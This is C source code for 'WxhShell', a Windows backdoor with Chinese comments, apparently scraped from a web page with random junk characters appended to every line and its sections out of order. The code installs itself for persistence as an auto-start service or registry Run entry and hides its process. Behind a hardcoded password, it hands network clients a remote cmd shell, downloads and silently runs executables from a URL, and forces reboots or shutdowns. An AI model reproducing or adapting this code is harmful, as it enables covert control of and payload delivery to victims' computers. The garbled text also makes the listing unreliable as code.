    if(Boot(SHUTDOWN)) jp7cPpk:LG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W]5Hc|!^^  
    else { UyAy?i8K  
    closesocket(wsh); >9NC2%61S  
    ExitThread(0); vSy[lB|)24  
    } g`w46X  
    break; F1t+D)KA>  
    } IgN^~ag`  
  // 获取shell 3lTnfc&  
  case 's': { J@OK"%12  
    CmdShell(wsh); 1H?I?IT30  
    closesocket(wsh); 26;Gt8  
    ExitThread(0); 6rWb2b  
    break; Yd(<;JKF[  
  } =Qf{  
  // 退出 |\>Ifv%{  
  case 'x': { DYoGtks(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F'-XAI <3  
    CloseIt(wsh); -Jf}3$Ra  
    break; m@UrFPZ  
    } "}Ikx tee  
  // 离开 CDPu(,^  
  case 'q': { &;sW4jnt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3~{0X-  
    closesocket(wsh); !L@<?0x LW  
    WSACleanup(); ^X?uAX-RP|  
    exit(1); * F_KOf9p  
    break; RL )~J4Y  
        } NTEN  
  } UmArl)R/  
  } a;v4R[lQ  
%WC ^aKfY  
  // 提示信息 UZs'H"K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [k0/ZfFwV  
} uQ&> Wk  
  } t 4VeXp6  
Y;'SD{On  
  return; 4*D"*kR;  
} E *IP#:R  
nW} s  
// shell模块句柄 LlS~J K  
int CmdShell(SOCKET sock) 1 +Ue m  
{ o@7U4#E  
STARTUPINFO si; 0m=57c$O  
ZeroMemory(&si,sizeof(si)); =6+99<G|%M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ni%@bU $  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }dHdy{$  
PROCESS_INFORMATION ProcessInfo; -SfU.XlZl  
char cmdline[]="cmd"; jE wt1S V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^}{x).  
  return 0; 3<xDxj 0<  
} Vh>cV  
P -nhG  
// 自身启动模式 YaL:6[6  
int StartFromService(void) ]31=8+D  
{ hSR+7qN<e  
typedef struct "<{|ni}  
{ @g4o8nH}  
  DWORD ExitStatus; 5&h">_j  
  DWORD PebBaseAddress; ~%C F3?e6  
  DWORD AffinityMask; 6}?d%K  
  DWORD BasePriority; W &:0J  
  ULONG UniqueProcessId; ggiy{CdR  
  ULONG InheritedFromUniqueProcessId; w^ OB  
}   PROCESS_BASIC_INFORMATION; k].swvIi  
]@ke_' "  
PROCNTQSIP NtQueryInformationProcess; }]PHE(}7  
G}^=(,jl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9cUa@;*1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  oC*a;o  
w/ (c}%v}=  
  HANDLE             hProcess; 9Li*L&B)  
  PROCESS_BASIC_INFORMATION pbi; y(MB _B7j  
R ZQH#+*t}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZJQFn  
  if(NULL == hInst ) return 0; e,VF;Br  
<n06(9BF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7=9>yba)^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <Q/)SN6_E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VXWV Pj#  
{_\cd.AuT  
  if (!NtQueryInformationProcess) return 0; FZ ?eX`,  
W. kcN,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M TZCI}  
  if(!hProcess) return 0; LUId<We  
}`Ya;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /\# f@Sg  
3MFT P5~  
  CloseHandle(hProcess); 8K?}!$fz  
n#b{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  <{Y3}Q  
if(hProcess==NULL) return 0; S-88m/"]s  
`Ucj_6&Tqs  
HMODULE hMod; c/A?-9  
char procName[255]; 9N'fU),I  
unsigned long cbNeeded; *oz#YGNm  
2O Ur">_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A1-,b.Ni  
>Ti%Th,  
  CloseHandle(hProcess); &BrFcXF  
b7dsi|Yo  
if(strstr(procName,"services")) return 1; // 以服务启动 4RB%r  
#eOHe4Vt  
  return 0; // 注册表启动 8Iw)]}T'  
} =3QhGFd  
5(J?C-Pk  
// 主模块 $j\>T@  
int StartWxhshell(LPSTR lpCmdLine) &d2L9kTk  
{ 1L4-;HYJm  
  SOCKET wsl; `x/i1^/_@  
BOOL val=TRUE; U|tacO5w`  
  int port=0; SDO:Gma  
  struct sockaddr_in door; G&^8)S@1  
~S Bb2*ID  
  if(wscfg.ws_autoins) Install(); [BD`h  
F&R*njJcc  
port=atoi(lpCmdLine); 7WS$fUBi  
@ewaj!  
if(port<=0) port=wscfg.ws_port; trwQ@7  
XdCP!iq*8  
  WSADATA data; vRC >=y*=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VfpT5W<  
6CHb\k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }i"[5:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ial{A6X  
  door.sin_family = AF_INET; tUx H 6IS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 81:%Z&?vRl  
  door.sin_port = htons(port); #z.n?d2Gd  
ZN $%\,<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [?I<$f"  
closesocket(wsl); !;,\HvEZYw  
return 1; Z3{1`"\<K  
} N s0,Z#Z+  
_|I8+(~)  
  if(listen(wsl,2) == INVALID_SOCKET) { iKrk?B<  
closesocket(wsl); ;UTM9.o[  
return 1; E7iAN\vo  
} 9&f+I@K  
  Wxhshell(wsl); JH]S'5X8K  
  WSACleanup(); /Z:NoTGn  
ca7Y+9< ;  
return 0; fub04x)  
K0j%\]\Tp  
} qA!p7"m|  
stajTN*J  
// 以NT服务方式启动 zO"De~[9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P'tXG  
{ v[ML=pL  
DWORD   status = 0; v; i4ZSV^A  
  DWORD   specificError = 0xfffffff; 5e,u*J]  
o!+%|V8Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (J5} 1Q<K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3f^Pr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .c}+kHv  
  serviceStatus.dwWin32ExitCode     = 0; Gl'G;F$Y-  
  serviceStatus.dwServiceSpecificExitCode = 0; C3W4:kbau  
  serviceStatus.dwCheckPoint       = 0; Fdhgm{Y2s  
  serviceStatus.dwWaitHint       = 0; Up?RN%gq  
E& 6I`8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2T+-[}*  
  if (hServiceStatusHandle==0) return; 9.\SeJ8c  
Ny7*MZ-  
status = GetLastError(); ;: _K,FU  
  if (status!=NO_ERROR) -V{"Lzrfug  
{ @6~lZgXOV[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nQOdM#dP  
    serviceStatus.dwCheckPoint       = 0; k^;n$r"i5  
    serviceStatus.dwWaitHint       = 0; !i-t6f  
    serviceStatus.dwWin32ExitCode     = status; ~|S0E:*.  
    serviceStatus.dwServiceSpecificExitCode = specificError; yR|2><A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uc+{<E3,%  
    return; kQbZ!yl>[  
  } j3 6Y Iz$a  
eg/itty  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [pTdeg;QE  
  serviceStatus.dwCheckPoint       = 0; C5V}L  
  serviceStatus.dwWaitHint       = 0; .+(V</  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <!RkkU& 6  
} oH6zlmqG"  
$Ah p4oiE  
// 处理NT服务事件,比如:启动、停止 Vxap+<m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N8Rq7i3F?a  
{ nu+K N,3R"  
switch(fdwControl) 5]I)qij q  
{ )  M0(vog  
case SERVICE_CONTROL_STOP: M^oL.'  
  serviceStatus.dwWin32ExitCode = 0; @Nsn0-B?ne  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~{lb`M^]h  
  serviceStatus.dwCheckPoint   = 0; I[|Y 2i  
  serviceStatus.dwWaitHint     = 0; ,zx{RDI  
  { Rs"=o>Qu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hOk9y=  
  } xwZ1Q,'C  
  return; ~_JfI7={Jn  
case SERVICE_CONTROL_PAUSE: ^/E'Rf3[A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gq+0t  
  break; cJ$jU{}  
case SERVICE_CONTROL_CONTINUE: ,V 52Fj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qX\85dPn@}  
  break; 0'*{BAWx  
case SERVICE_CONTROL_INTERROGATE: |MGT8C&^!  
  break; 5B:"$vC{=  
}; TfZM0Wz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~Q\:<x&~Z  
} Wo&22,EB  
+3. 9)w  
// 标准应用程序主函数 D+uo gRS61  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S\N l|U[  
{ Q +l{> sL  
! N2uJ?t  
// 获取操作系统版本 xSN;vrLHR  
OsIsNt=GetOsVer(); =I'iD0eR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >mA]2gV<a  
i5le0lM  
  // 从命令行安装 ? 0X$ox  
  if(strpbrk(lpCmdLine,"iI")) Install(); A nl1+  
=:g\I6'a  
  // 下载执行文件 -x6_HibbD  
if(wscfg.ws_downexe) { 7#"NKxb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y S7lB  
  WinExec(wscfg.ws_filenam,SW_HIDE); KtAEM;g  
} I52nQCXi  
c}OveR$'&  
if(!OsIsNt) { I \1E=6"  
// 如果时win9x,隐藏进程并且设置为注册表启动 YvG$2F|_)  
HideProc(); 4ZUtK/i+r  
StartWxhshell(lpCmdLine); yx?oxDJg  
} GtmoFSZ  
else wE1GyN  
  if(StartFromService()) SPb`Q"  
  // 以服务方式启动 HkRvcX 5  
  StartServiceCtrlDispatcher(DispatchTable); RvA "ug.*  
else m %+'St|qr  
  // 普通方式启动 f 1SKOq  
  StartWxhshell(lpCmdLine); W<&/5s  
oNXYBeu+  
return 0; c[M4l  
} 0aR.ct%  
'uz o[>p  
-{*3<2rFK  
#"A`:bjG  
=========================================== zhow\l2t}  
tpzWi W/  
vRaxB  
x!S}Y"  
&'e+`\  
Rh~j -;  
" :twp95{R1  
z I9jxwXU  
#include <stdio.h> P)y2'JKL  
#include <string.h> &/' O?HWl  
#include <windows.h> (oiQ5s^f  
#include <winsock2.h> o}waJN`yI  
#include <winsvc.h> ByoI+n* U  
#include <urlmon.h> ]c_lNHssmq  
,eOZv=:  
#pragma comment (lib, "Ws2_32.lib") o\tw)_ >  
#pragma comment (lib, "urlmon.lib") B;Z _'.i,d  
;gHcDnH)  
#define MAX_USER   100 // 最大客户端连接数 Pt-mLINvG  
#define BUF_SOCK   200 // sock buffer ffB<qf)?G  
#define KEY_BUFF   255 // 输入 buffer QN#Lbsd  
{1UU `d  
#define REBOOT     0   // 重启 kN<;*jHV  
#define SHUTDOWN   1   // 关机 WB (?6"  
FLsJ<C~/~  
#define DEF_PORT   5000 // 监听端口 Vd.XZ*}r*  
RigS1A\2l  
#define REG_LEN     16   // 注册表键长度 [4;_8-[Nv  
#define SVC_LEN     80   // NT服务名长度 &2y9J2aA  
k=Wt57jt  
// 从dll定义API |d42?7}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p8s%bPjK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Ww SisC~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8j]QnH0&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9*"K+t:  
S:2 xm8 i  
// wxhshell配置信息 kiin78W  
struct WSCFG {  .;vd  
  int ws_port;         // 监听端口 zuJ` 704  
  char ws_passstr[REG_LEN]; // 口令 `"~X1;  
  int ws_autoins;       // 安装标记, 1=yes 0=no REX/:sB<  
  char ws_regname[REG_LEN]; // 注册表键名 +K=RMqM-8  
  char ws_svcname[REG_LEN]; // 服务名 CpgaQG^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >9g^-~X;v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =AHV{V~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KJ-Q$ M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0icB2Jm:D}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z +<Y.*6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3WfZzb+  
La^Zr,T!  
}; bx".<q(  
phwq#AxQ   
// default Wxhshell configuration !P6y_Frpe  
struct WSCFG wscfg={DEF_PORT, m1p% ,  
    "xuhuanlingzhe", <PO-S\N  
    1, Uzn  
    "Wxhshell", 7vH4}S\ q  
    "Wxhshell", 3fop.%(  
            "WxhShell Service", 9I|Q`j?p`  
    "Wrsky Windows CmdShell Service", Xn<|6u  
    "Please Input Your Password: ", ;ZrFy=Iv  
  1, PO2]x:  
  "http://www.wrsky.com/wxhshell.exe", i)ibDrX!I  
  "Wxhshell.exe" l4^8$@;s  
    }; 6& 9q6IIy  
8H SGOs =8  
// 消息定义模块 Gg7ZSB 7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k"FY &;G(G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y2C/DyuAY|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lo >:S1  
char *msg_ws_ext="\n\rExit."; wi:d!,P`e  
char *msg_ws_end="\n\rQuit."; ;Y &2G'  
char *msg_ws_boot="\n\rReboot..."; 'Cywn^Ym#  
char *msg_ws_poff="\n\rShutdown..."; JDMsco+j5  
char *msg_ws_down="\n\rSave to "; 'ka"0~:NS{  
T~N877  
char *msg_ws_err="\n\rErr!"; *-_joAWTG  
char *msg_ws_ok="\n\rOK!"; w?c~be$  
]"1\z>Hg  
char ExeFile[MAX_PATH]; "\1V^2kMr  
int nUser = 0; w?p8)Q6m  
HANDLE handles[MAX_USER]; DZ;2aH  
int OsIsNt; _ID =]NJ_  
[WunA,IuR  
SERVICE_STATUS       serviceStatus; x\(yjNZH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &[}5yos r  
=0mGfT c  
// 函数声明 AzBpQb*  
int Install(void); 3nkO+ qQ  
int Uninstall(void); n!XSB7d~X  
int DownloadFile(char *sURL, SOCKET wsh); qv+}|+aL:  
int Boot(int flag); A}n5dg0u  
void HideProc(void); l' Z `%}R  
int GetOsVer(void); +&TcTu#.`  
int Wxhshell(SOCKET wsl); 4=n%<U`Z/  
void TalkWithClient(void *cs); t!vlZNc  
int CmdShell(SOCKET sock); 6I\mhw!pQ  
int StartFromService(void); 8 K>Ejr  
int StartWxhshell(LPSTR lpCmdLine); 7llEB*dSA  
8 uhB&qxB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &@xeWB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^-7{{/  
i0~L[v9l<  
// 数据结构和表定义 d "vd_}P~  
SERVICE_TABLE_ENTRY DispatchTable[] = `<l|XPv  
{ /-)|dP  
{wscfg.ws_svcname, NTServiceMain}, Aonq;} V e  
{NULL, NULL} } u7&SU  
}; oWc +i U(  
OKq={l  
// 自我安装 C!" .[3  
int Install(void) y7s.6i}7  
{ <ByDT$E_  
  char svExeFile[MAX_PATH]; }tT*Ch?u  
  HKEY key; S$I:rbc  
  strcpy(svExeFile,ExeFile); }UWRH.;v  
yo0?QRT  
// 如果是win9x系统,修改注册表设为自启动 +nslS:(  
if(!OsIsNt) { Iq[,)$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QcQ|,lA.HI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @V-CG!  
  RegCloseKey(key); FR@ dBcJUU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S.OGLLprp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ o&i63u  
  RegCloseKey(key); v)2@;Q  
  return 0; j{'@g[HW  
    } !f\6=Z?>3  
  } | Y1<P^  
} <cz~q=%v2&  
else { thDE 1h  
P5P<-T{-c  
// 如果是NT以上系统,安装为系统服务 [ @/[#p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KXFa<^\o  
if (schSCManager!=0) U-s6h;^ O  
{ c~|/,FZU'  
  SC_HANDLE schService = CreateService !J' xk  
  ( Q\:'gx8`  
  schSCManager, 3-8Vw$u  
  wscfg.ws_svcname, z[ ;{p.W  
  wscfg.ws_svcdisp, es(vWf'  
  SERVICE_ALL_ACCESS, J:mOg95<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aV(*BE/@F  
  SERVICE_AUTO_START, %3VwCuE  
  SERVICE_ERROR_NORMAL, TniZ!ud  
  svExeFile, ~ab"q %  
  NULL, tY :-13F  
  NULL, D_9/|:N:  
  NULL, ^?xXP=/  
  NULL, g%=\Wiit]  
  NULL l>&)_:\  
  ); J= |[G'  
  if (schService!=0) w-CuO4P  
  { 9 au)K!hN  
  CloseServiceHandle(schService); XLbrE|0A?  
  CloseServiceHandle(schSCManager); `?6m0|\@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G%kXr$?W  
  strcat(svExeFile,wscfg.ws_svcname); <qRw! 'S^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {fN_itn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T)Nis~  
  RegCloseKey(key); %r!#  
  return 0; uV 6f~cQ  
    } >LU*F|F]B  
  } BS|-E6E<  
  CloseServiceHandle(schSCManager); dF.T6b  
} mc$c!Ax*  
} aQ~x$T|  
:6M0`V;L  
return 1; $0W0+A$  
} sy@k3wQ  
wA~Nfn ^  
// 自我卸载 (wY% $kW4  
int Uninstall(void) M K[spV  
{ f@/qW!o  
  HKEY key; 9vj:=,TNu  
l9L;Tjj  
if(!OsIsNt) { <zDe;&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~!nd'{{9  
  RegDeleteValue(key,wscfg.ws_regname); B6pz1P?e}  
  RegCloseKey(key); bA^a@ lv a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m5x>._7le  
  RegDeleteValue(key,wscfg.ws_regname); *HXq`B  
  RegCloseKey(key); lb6s3b  
  return 0; 0F~9t !  
  } \S@A /t6pa  
} UQdQtj1'  
} %8{_;-f  
else { mcXakWmi  
}-Ma ~/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jI V? p  
if (schSCManager!=0) GSFT(XX  
{ w0I /  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G_<[sMC8  
  if (schService!=0) 0l6djN  
  { 7w$R-Y/E  
  if(DeleteService(schService)!=0) { 1c4%g-]7  
  CloseServiceHandle(schService); Rj&7|z  
  CloseServiceHandle(schSCManager); JS:lysu  
  return 0; '_<`dzz  
  } F@lpjW  
  CloseServiceHandle(schService); e ^qnUjMy  
  } X]*/]Xx  
  CloseServiceHandle(schSCManager); 5q#|sVT7R  
} iQIw]*h^  
} B<&_lG0sS  
'9dtIW6E  
return 1; c>!J@[,  
} <khAc1"  
vWovR`  
// 从指定url下载文件 ;X6y.1N~  
int DownloadFile(char *sURL, SOCKET wsh) H7= z%Y9y  
{ o5@ jMU;  
  HRESULT hr; rQm  
char seps[]= "/"; 7 tpZE+OX  
char *token; D` X6'PP  
char *file; D5b _m|7%  
char myURL[MAX_PATH]; p4EItRZS  
char myFILE[MAX_PATH]; NETC{:j  
oI~Qo*4eh  
strcpy(myURL,sURL); N6[^62  
  token=strtok(myURL,seps); EXcjF  
  while(token!=NULL) @b{u/:y  
  { 5; [|k$ v  
    file=token; EI.Pk>ZIm  
  token=strtok(NULL,seps); @<=#i  
  } F s\P/YX  
hF7mJ\  
GetCurrentDirectory(MAX_PATH,myFILE); <xjv7`G7  
strcat(myFILE, "\\"); F\rSYjMyk  
strcat(myFILE, file); jGhg~-m  
  send(wsh,myFILE,strlen(myFILE),0); j/pQSlV  
send(wsh,"...",3,0); I?g__u=n~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r(T/^<  
  if(hr==S_OK) Q3q.*(#  
return 0; `>EvT7u  
else UjOhaj "h  
return 1; }C"*ACjF   
C'2 =0oou  
} PB67 ?d~  
6CmFmc,  
// 系统电源模块 ,HkhKbQ  
int Boot(int flag) e=UVsYNx  
{ /B\-DP3K  
  HANDLE hToken; {/xs9.8:JX  
  TOKEN_PRIVILEGES tkp; O)JUY *&I5  
r{R7"  
  if(OsIsNt) { Zt2@?w;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \u-e\w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $,,>R[;w  
    tkp.PrivilegeCount = 1; sVdK^|j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ls7A5 <  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L(n/uQ :  
if(flag==REBOOT) { %=4ak]As  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9Y%?)t.2  
  return 0; '(X[ w=WXy  
} c_bVF 'Bz  
else { V<V\0n!0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rw\C0'  
  return 0; n`z+ w*  
} T|s0qQi  
  } +aw>p_\  
  else { m?VRX .>  
if(flag==REBOOT) { [&qbc#L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /Ej]X`F  
  return 0; G P[r^Z  
} W _,;eyo  
else { CTkN8{2S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rt^45~  
  return 0; yb4tJu$  
} b LM"t0  
} [)SR $/A  
$C05iD  
return 1; CC>fm 1#i\  
} T6I%FXm}  
p=~h|(M|  
// win9x进程隐藏模块 /"Yx@n  
void HideProc(void) 2yQ}Lxr(  
{ ft/^4QcyAM  
J,1osG<6x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .FKJ yzL  
  if ( hKernel != NULL ) q^N0abzgP  
  { pH\^1xj =  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !/nx=vg p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7/|F9fF@M  
    FreeLibrary(hKernel); /iUUM t'  
  } %[n R|a<  
^'7C0ps+A  
return; l7'{OB L  
} #A3v]'7B  
MV<!<Qmj  
// 获取操作系统版本 *f TG8h  
int GetOsVer(void) L-z ;:Ztk  
{ w*:GM8=6  
  OSVERSIONINFO winfo; NuD[-;N]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CzSZ>E$%U  
  GetVersionEx(&winfo); SH vaV[C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -MrtliepW*  
  return 1; GOf`Z'\xt  
  else o9ctJf=qn  
  return 0; _hy{F%}  
} 5 o#<`_=J  
 dd<:#c9  
// 客户端句柄模块 BIV<ti$.  
int Wxhshell(SOCKET wsl) zj>aaY  
{ ou'~{-_xd  
  SOCKET wsh; I /On3"U%  
  struct sockaddr_in client; eyT>wma0  
  DWORD myID; x6^l6N  
<&5m N  
  while(nUser<MAX_USER) .hX0c"f]b  
{ ^kn ^CI6  
  int nSize=sizeof(client); u^Nxvx3l0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PS=e\(6QC  
  if(wsh==INVALID_SOCKET) return 1; F$Im9T6  
4M}|/?<Br  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2W^B{ZS;  
if(handles[nUser]==0) TN35CaSmq  
  closesocket(wsh); e}42/>}#D  
else :)#hrFp  
  nUser++; Q2/MnM  
  } 90/vJN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e-X HN  
*Jvxs R'a1  
  return 0; t;8\fIW5  
} w6T[hZ 9  
[o2w1R\H+x  
// 关闭 socket n /QfdAg  
void CloseIt(SOCKET wsh) TE^7P0bh  
{ nPcS3!7B#  
closesocket(wsh); KRYcCn  
nUser--; c $0_R;4/  
ExitThread(0); Ji;SY{~kv  
} M[, D  *  
P|e`^Frxt  
// 客户端请求句柄 yN*:.al  
void TalkWithClient(void *cs) ZJ;LD*  
{ Dv&>*0B  
25:Z;J>  
  SOCKET wsh=(SOCKET)cs; xXX/]x>  
  char pwd[SVC_LEN]; 1Cm~X$S.  
  char cmd[KEY_BUFF]; bpCNho$  
char chr[1]; R A:jzht  
int i,j; Z@3l%p6V  
OL3UgepF  
  while (nUser < MAX_USER) { Lf. 1>s  
x(8n 9Q>  
if(wscfg.ws_passstr) { ;54(+5pqx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iq?l#}]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ekv89swl`i  
  //ZeroMemory(pwd,KEY_BUFF); wtXY: O  
      i=0; #,L~w  
  while(i<SVC_LEN) { +$47v$p  
Cq>6rn  
  // 设置超时 ?aBj#  
  fd_set FdRead; %}q .cV  
  struct timeval TimeOut; Z%}4bJ  
  FD_ZERO(&FdRead); n`(~O O  
  FD_SET(wsh,&FdRead); 8eluO ?p  
  TimeOut.tv_sec=8; Z!6UW:&~7  
  TimeOut.tv_usec=0; q-nER<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i9rS6<V'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !9;)N,  
!:WW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %r%So_^  
  pwd=chr[0]; V1B(|P  
  if(chr[0]==0xd || chr[0]==0xa) { u%u&F^y  
  pwd=0; Z) Wnow  
  break; NjX[;e-u  
  } tx"LeZZ  
  i++; x5}lgyt  
    } [dB$U}SEj  
;HNq>/{  
  // 如果是非法用户,关闭 socket /c`^iPb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @PI%FV z~p  
} v4rW2F:X  
ba3*]01Yb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $A2n{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d(-EcY>?  
`zA#z />  
while(1) { u.,Q4u|!  
0 Y>M=|  
  ZeroMemory(cmd,KEY_BUFF); *27*>W1  
o(!@7Lqq  
      // 自动支持客户端 telnet标准   F]EBD8/b  
  j=0; tGjhHp8}c  
  while(j<KEY_BUFF) { ml6u1+v5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D:"{g|nW}  
  cmd[j]=chr[0]; 8`=v.   
  if(chr[0]==0xa || chr[0]==0xd) { }!p`1]gem  
  cmd[j]=0; [;A[.&6  
  break; lk3=4|?zsE  
  } LzML%J62  
  j++; nhT-Ido  
    } c9wfsapJ  
.ubE2X[][  
  // 下载文件 EON:B>2a  
  if(strstr(cmd,"http://")) { ICC%,$C~l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ! | #83  
  if(DownloadFile(cmd,wsh)) t `kui.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KC`q#&dt  
  else >R\lqLILb,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3]RyTQ  
  } as*4UT3  
